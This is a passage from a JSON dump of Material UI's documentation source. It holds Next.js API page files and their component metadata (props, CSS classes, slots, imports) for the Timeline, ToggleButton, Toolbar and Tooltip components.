\"<ul><li><a href=\\\"/material-ui/react-timeline/\\\">Timeline</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/timeline-opposite-content.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './timeline-opposite-content.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/timeline-opposite-content',\n    false,\n    /\\.\\/timeline-opposite-content.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/timeline-opposite-content.json",
    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    }\n  },\n  \"name\": \"TimelineOppositeContent\",\n  \"imports\": [\n    \"import TimelineOppositeContent from '@mui/lab/TimelineOppositeContent';\",\n    \"import { TimelineOppositeContent } from '@mui/lab';\"\n  ],\n  \"classes\": [\n    {\n      \"key\": \"positionAlternate\",\n      \"className\": \"MuiTimelineOppositeContent-positionAlternate\",\n      \"description\": \"Styles applied to the root element if `position=\\\"alternate\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"positionAlternateReverse\",\n      \"className\": \"MuiTimelineOppositeContent-positionAlternateReverse\",\n      \"description\": \"Styles applied to the root element if `position=\\\"alternate-reverse\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"positionLeft\",\n      \"className\": \"MuiTimelineOppositeContent-positionLeft\",\n      \"description\": \"Styles applied to the root element if `position=\\\"left\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"positionRight\",\n      \"className\": \"MuiTimelineOppositeContent-positionRight\",\n      \"description\": \"Styles applied to the root element if `position=\\\"right\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiTimelineOppositeContent-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiTimelineOppositeContent\",\n  \"forwardsRefTo\": \"HTMLDivElement\",\n  \"filename\": \"/packages/mui-lab/src/TimelineOppositeContent/TimelineOppositeContent.js\",\n  \"inheritance\": { \"component\": \"Typography\", \"pathname\": \"/material-ui/api/typography/\" },\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-timeline/\\\">Timeline</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/timeline-separator.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './timeline-separator.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/timeline-separator',\n    false,\n    /\\.\\/timeline-separator.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/timeline-separator.json",
    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    }\n  },\n  \"name\": \"TimelineSeparator\",\n  \"imports\": [\n    \"import TimelineSeparator from '@mui/lab/TimelineSeparator';\",\n    \"import { TimelineSeparator } from '@mui/lab';\"\n  ],\n  \"classes\": [\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiTimelineSeparator-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiTimelineSeparator\",\n  \"forwardsRefTo\": \"HTMLDivElement\",\n  \"filename\": \"/packages/mui-lab/src/TimelineSeparator/TimelineSeparator.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-timeline/\\\">Timeline</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/timeline.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './timeline.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/timeline',\n    false,\n    /\\.\\/timeline.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/timeline.json",
    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"className\": { \"type\": { \"name\": \"string\" } },\n    \"position\": {\n      \"type\": {\n        \"name\": \"enum\",\n        \"description\": \"'alternate-reverse'<br>&#124;&nbsp;'alternate'<br>&#124;&nbsp;'left'<br>&#124;&nbsp;'right'\"\n      },\n      \"default\": \"'right'\"\n    },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    }\n  },\n  \"name\": \"Timeline\",\n  \"imports\": [\"import Timeline from '@mui/lab/Timeline';\", \"import { Timeline } from '@mui/lab';\"],\n  \"classes\": [\n    {\n      \"key\": \"positionAlternate\",\n      \"className\": \"MuiTimeline-positionAlternate\",\n      \"description\": \"Styles applied to the root element if `position=\\\"alternate\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"positionAlternateReverse\",\n      \"className\": \"MuiTimeline-positionAlternateReverse\",\n      \"description\": \"Styles applied to the root element if `position=\\\"alternate-reverse\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"positionLeft\",\n      \"className\": \"MuiTimeline-positionLeft\",\n      \"description\": \"Styles applied to the root element if `position=\\\"left\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"positionRight\",\n      \"className\": \"MuiTimeline-positionRight\",\n      \"description\": \"Styles applied to the root element if `position=\\\"right\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiTimeline-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiTimeline\",\n  \"forwardsRefTo\": \"HTMLUListElement\",\n  \"filename\": \"/packages/mui-lab/src/Timeline/Timeline.tsx\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-timeline/\\\">Timeline</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/toggle-button-group.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './toggle-button-group.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/toggle-button-group',\n    false,\n    /\\.\\/toggle-button-group.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/toggle-button-group.json",
    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"color\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'standard'<br>&#124;&nbsp;'primary'<br>&#124;&nbsp;'secondary'<br>&#124;&nbsp;'error'<br>&#124;&nbsp;'info'<br>&#124;&nbsp;'success'<br>&#124;&nbsp;'warning'<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"'standard'\"\n    },\n    \"disabled\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"exclusive\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"fullWidth\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"onChange\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(event: React.MouseEvent<HTMLElement>, value: any) => void\",\n        \"describedArgs\": [\"event\", \"value\"]\n      }\n    },\n    \"orientation\": {\n      \"type\": { \"name\": \"enum\", \"description\": \"'horizontal'<br>&#124;&nbsp;'vertical'\" },\n      \"default\": \"'horizontal'\"\n    },\n    \"size\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'small'<br>&#124;&nbsp;'medium'<br>&#124;&nbsp;'large'<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"'medium'\"\n    },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    },\n    \"value\": { \"type\": { \"name\": \"any\" } }\n  },\n  \"name\": \"ToggleButtonGroup\",\n  \"imports\": [\n    \"import ToggleButtonGroup from '@mui/material/ToggleButtonGroup';\",\n    \"import { ToggleButtonGroup } from '@mui/material';\"\n  ],\n  \"classes\": [\n    {\n      \"key\": \"disabled\",\n      \"className\": \"Mui-disabled\",\n      \"description\": \"State class applied to the root element if `disabled={true}`.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"firstButton\",\n      \"className\": \"MuiToggleButtonGroup-firstButton\",\n      \"description\": \"Styles applied to the first button in the toggle button group.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"fullWidth\",\n      \"className\": \"MuiToggleButtonGroup-fullWidth\",\n      \"description\": \"Styles applied to the root element if `fullWidth={true}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"grouped\",\n      \"className\": \"MuiToggleButtonGroup-grouped\",\n      \"description\": \"Styles applied to the children.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"horizontal\",\n      \"className\": \"MuiToggleButtonGroup-horizontal\",\n      \"description\": \"Styles applied to the root element if `orientation=\\\"horizontal\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"lastButton\",\n      \"className\": \"MuiToggleButtonGroup-lastButton\",\n      \"description\": \"Styles applied to the last button in the toggle button group.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"middleButton\",\n      \"className\": \"MuiToggleButtonGroup-middleButton\",\n      \"description\": \"Styles applied to buttons in the middle of the toggle button group.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiToggleButtonGroup-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"selected\",\n      \"className\": \"Mui-selected\",\n      \"description\": \"State class applied to the root element if `selected={true}`.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"vertical\",\n      \"className\": \"MuiToggleButtonGroup-vertical\",\n      \"description\": \"Styles applied to the root element if `orientation=\\\"vertical\\\"`.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiToggleButtonGroup\",\n  \"forwardsRefTo\": \"HTMLDivElement\",\n  \"filename\": \"/packages/mui-material/src/ToggleButtonGroup/ToggleButtonGroup.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-toggle-button/\\\">Toggle Button</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/toggle-button.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './toggle-button.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/toggle-button',\n    false,\n    /\\.\\/toggle-button.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/toggle-button.json",
    "content": "{\n  \"props\": {\n    \"value\": { \"type\": { \"name\": \"any\" }, \"required\": true },\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"color\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'standard'<br>&#124;&nbsp;'primary'<br>&#124;&nbsp;'secondary'<br>&#124;&nbsp;'error'<br>&#124;&nbsp;'info'<br>&#124;&nbsp;'success'<br>&#124;&nbsp;'warning'<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"'standard'\"\n    },\n    \"disabled\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"disableFocusRipple\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"disableRipple\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"fullWidth\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"onChange\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(event: React.MouseEvent<HTMLElement>, value: any) => void\",\n        \"describedArgs\": [\"event\", \"value\"]\n      }\n    },\n    \"onClick\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(event: React.MouseEvent<HTMLElement>, value: any) => void\",\n        \"describedArgs\": [\"event\", \"value\"]\n      }\n    },\n    \"selected\": { \"type\": { \"name\": \"bool\" } },\n    \"size\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'small'<br>&#124;&nbsp;'medium'<br>&#124;&nbsp;'large'<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"'medium'\"\n    },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    }\n  },\n  \"name\": \"ToggleButton\",\n  \"imports\": [\n    \"import ToggleButton from '@mui/material/ToggleButton';\",\n    \"import { ToggleButton } from '@mui/material';\"\n  ],\n  \"classes\": [\n    {\n      \"key\": \"disabled\",\n      \"className\": \"Mui-disabled\",\n      \"description\": \"State class applied to the root element if `disabled={true}`.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"fullWidth\",\n      \"className\": \"MuiToggleButton-fullWidth\",\n      \"description\": \"Styles applied to the root element if `fullWidth={true}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"primary\",\n      \"className\": \"MuiToggleButton-primary\",\n      \"description\": \"State class applied to the root element if `color=\\\"primary\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiToggleButton-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"secondary\",\n      \"className\": \"MuiToggleButton-secondary\",\n      \"description\": \"State class applied to the root element if `color=\\\"secondary\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"selected\",\n      \"className\": \"Mui-selected\",\n      \"description\": \"State class applied to the root element if `selected={true}`.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"sizeLarge\",\n      \"className\": \"MuiToggleButton-sizeLarge\",\n      \"description\": \"Styles applied to the root element if `size=\\\"large\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"sizeMedium\",\n      \"className\": \"MuiToggleButton-sizeMedium\",\n      \"description\": \"Styles applied to the root element if `size=\\\"medium\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"sizeSmall\",\n      \"className\": \"MuiToggleButton-sizeSmall\",\n      \"description\": \"Styles applied to the root element if `size=\\\"small\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"standard\",\n      \"className\": \"MuiToggleButton-standard\",\n      \"description\": \"State class applied to the root element if `color=\\\"standard\\\"`.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiToggleButton\",\n  \"forwardsRefTo\": \"HTMLButtonElement\",\n  \"filename\": \"/packages/mui-material/src/ToggleButton/ToggleButton.js\",\n  \"inheritance\": { \"component\": \"ButtonBase\", \"pathname\": \"/material-ui/api/button-base/\" },\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-toggle-button/\\\">Toggle Button</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/toolbar.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './toolbar.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context('docs/translations/api-docs/toolbar', false, /\\.\\/toolbar.*\\.json$/);\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/toolbar.json",
    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"component\": { \"type\": { \"name\": \"elementType\" } },\n    \"disableGutters\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    },\n    \"variant\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'dense'<br>&#124;&nbsp;'regular'<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"'regular'\"\n    }\n  },\n  \"name\": \"Toolbar\",\n  \"imports\": [\n    \"import Toolbar from '@mui/material/Toolbar';\",\n    \"import { Toolbar } from '@mui/material';\"\n  ],\n  \"classes\": [\n    {\n      \"key\": \"dense\",\n      \"className\": \"MuiToolbar-dense\",\n      \"description\": \"Styles applied to the root element if `variant=\\\"dense\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"gutters\",\n      \"className\": \"MuiToolbar-gutters\",\n      \"description\": \"Styles applied to the root element unless `disableGutters={true}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"regular\",\n      \"className\": \"MuiToolbar-regular\",\n      \"description\": \"Styles applied to the root element if `variant=\\\"regular\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiToolbar-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiToolbar\",\n  \"forwardsRefTo\": \"HTMLDivElement\",\n  \"filename\": \"/packages/mui-material/src/Toolbar/Toolbar.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-app-bar/\\\">App Bar</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/tooltip.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './tooltip.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context('docs/translations/api-docs/tooltip', false, /\\.\\/tooltip.*\\.json$/);\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/tooltip.json",
    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"custom\", \"description\": \"element\" }, \"required\": true },\n    \"arrow\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"describeChild\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"disableFocusListener\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"disableHoverListener\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"disableInteractive\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"disableTouchListener\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"enterDelay\": { \"type\": { \"name\": \"number\" }, \"default\": \"100\" },\n    \"enterNextDelay\": { \"type\": { \"name\": \"number\" }, \"default\": \"0\" },\n    \"enterTouchDelay\": { \"type\": { \"name\": \"number\" }, \"default\": \"700\" },\n    \"followCursor\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"id\": { \"type\": { \"name\": \"string\" } },\n    \"leaveDelay\": { \"type\": { \"name\": \"number\" }, \"default\": \"0\" },\n    \"leaveTouchDelay\": { \"type\": { \"name\": \"number\" }, \"default\": \"1500\" },\n    \"onClose\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(event: React.SyntheticEvent) => void\",\n        \"describedArgs\": [\"event\"]\n      }\n    },\n    \"onOpen\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(event: React.SyntheticEvent) => void\",\n        \"describedArgs\": [\"event\"]\n      }\n    },\n    \"open\": { \"type\": { \"name\": \"bool\" } },\n    \"placement\": {\n      \"type\": {\n        \"name\": \"enum\",\n        \"description\": \"'auto-end'<br>&#124;&nbsp;'auto-start'<br>&#124;&nbsp;'auto'<br>&#124;&nbsp;'bottom-end'<br>&#124;&nbsp;'bottom-start'<br>&#124;&nbsp;'bottom'<br>&#124;&nbsp;'left-end'<br>&#124;&nbsp;'left-start'<br>&#124;&nbsp;'left'<br>&#124;&nbsp;'right-end'<br>&#124;&nbsp;'right-start'<br>&#124;&nbsp;'right'<br>&#124;&nbsp;'top-end'<br>&#124;&nbsp;'top-start'<br>&#124;&nbsp;'top'\"\n      },\n      \"default\": \"'bottom'\"\n    },\n    \"slotProps\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ arrow?: func<br>&#124;&nbsp;object, popper?: func<br>&#124;&nbsp;object, tooltip?: func<br>&#124;&nbsp;object, transition?: func<br>&#124;&nbsp;object }\"\n      },\n      \"default\": \"{}\"\n    },\n    \"slots\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ arrow?: elementType, popper?: elementType, tooltip?: elementType, transition?: elementType }\"\n      },\n      \"default\": \"{}\"\n    },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    },\n    \"title\": { \"type\": { \"name\": \"node\" } }\n  },\n  \"name\": \"Tooltip\",\n  \"imports\": [\n    \"import Tooltip from '@mui/material/Tooltip';\",\n    \"import { Tooltip } from '@mui/material';\"\n  ],\n  \"slots\": [\n    {\n      \"name\": \"popper\",\n      \"description\": \"The component used for the popper.\",\n      \"default\": \"Popper\",\n      \"class\": \"MuiTooltip-popper\"\n    },\n    {\n      \"name\": \"transition\",\n      \"description\": \"The component used for the transition.\\n[Follow this guide](https://mui.com/material-ui/transitions/#transitioncomponent-prop) to learn more about the requirements for this component.\",\n      \"default\": \"Grow\",\n      \"class\": null\n    },\n    {\n      \"name\": \"tooltip\",\n      \"description\": \"The component used for the tooltip.\",\n      \"class\": \"MuiTooltip-tooltip\"\n    },\n    {\n      \"name\": \"arrow\",\n      \"description\": \"The component used for the arrow.\",\n      \"class\": \"MuiTooltip-arrow\"\n    }\n  ],\n  \"classes\": [\n    {\n      \"key\": \"popperArrow\",\n      \"className\": \"MuiTooltip-popperArrow\",\n      \"description\": \"Styles applied to the Popper component if `arrow={true}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"popperClose\",\n      \"className\": \"MuiTooltip-popperClose\",\n      \"description\": \"Styles applied to the Popper component unless the tooltip is open.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"popperInteractive\",\n      \"className\": \"MuiTooltip-popperInteractive\",\n      \"description\": \"Styles applied to the Popper component unless `disableInteractive={true}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"tooltipArrow\",\n      \"className\": \"MuiTooltip-tooltipArrow\",\n      \"description\": \"Styles applied to the tooltip (label wrapper) element if `arrow={true}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"tooltipPlacementBottom\",\n      \"className\": \"MuiTooltip-tooltipPlacementBottom\",\n      \"description\": \"Styles applied to the tooltip (label wrapper) element if `placement` contains \\\"bottom\\\".\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"tooltipPlacementLeft\",\n      \"className\": \"MuiTooltip-tooltipPlacementLeft\",\n      \"description\": \"Styles applied to the tooltip (label wrapper) element if `placement` contains \\\"left\\\".\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"tooltipPlacementRight\",\n      \"className\": \"MuiTooltip-tooltipPlacementRight\",\n      \"description\": \"Styles applied to the tooltip (label wrapper) element if `placement` contains \\\"right\\\".\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"tooltipPlacementTop\",\n      \"className\": \"MuiTooltip-tooltipPlacementTop\",\n      \"description\": \"Styles applied to the tooltip (label wrapper) element if `placement` contains \\\"top\\\".\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"touch\",\n      \"className\": \"MuiTooltip-touch\",\n      \"description\": \"Styles applied to the tooltip (label wrapper) element if the tooltip is opened by touch.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiTooltip\",\n  \"forwardsRefTo\": \"HTMLButtonElement\",\n  \"filename\": \"/packages/mui-material/src/Tooltip/Tooltip.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-tooltip/\\\">Tooltip</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/typography.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './typography.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/typography',\n    false,\n    /\\.\\/typography.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/typography.json",
